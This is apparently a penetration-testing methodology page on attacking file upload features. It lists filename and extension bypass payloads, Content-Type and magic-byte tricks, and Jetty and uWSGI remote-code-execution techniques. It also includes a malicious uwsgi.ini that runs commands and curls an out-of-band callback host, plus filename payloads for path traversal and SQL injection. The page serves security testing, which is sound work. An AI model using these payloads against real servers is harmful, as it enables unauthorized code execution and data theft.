# File Upload
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## File Upload General Methodology
Other useful extensions:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
* _file.png.php_
* _file.png.Php5_
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\\_
* _file._
* _file.php...._
* _file.pHp5...._
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
* _file.png.php_
* _file.png.pHp5_
* _file.php%00.png_
* _file.php\x00.png_
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. Add **another layer of extensions** to the previous check:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code):
* _ex: file.php.png_
7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
* Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
`exiftool -Comment="' >> img.png`
* If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
***
### Other Tricks to check
* Find a vulnerability to **rename** the file already uploaded (to change the extension).
* Find a **Local File Inclusion** vulnerability to execute the backdoor.
* **Possible Information disclosure**:
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows)
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
* Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
### Special extension tricks
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
 (3) (1).png>)
## **uWSGI RCE**
If you can replace the `.ini` configuration file of a [**uWSGI server you can obtain RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** Indeed uWSGI configuration files can include “magic” variables, placeholders and operators defined with a precise syntax. The ‘@’ operator in particular is used in the form of @(filename) to include the contents of a file. Many uWSGI schemes are supported, including “exec” - useful to read from a process’s standard output. These operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is parsed:
Example of malicious `uwsgi.ini` file:
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
When the **configuration** file will be **parsed** **payload** will be **executed**. Note that for the config to be parsed, the **process need to be restarted** (crash? DoS?) or the file **autoreloaded** (an option that could be in use indicates the seconds to reload the file if a change is found).
**Important Note:** The uWSGI parsing of configuration file is lax. The previous payload can be embedded inside a binary file(e.g. image, pdf, ...).
## **wget File Upload/SSRF Trick**
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
#### Other resources
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
## From File upload to other vulnerabilities
* Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
* Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
* Set **filename** to `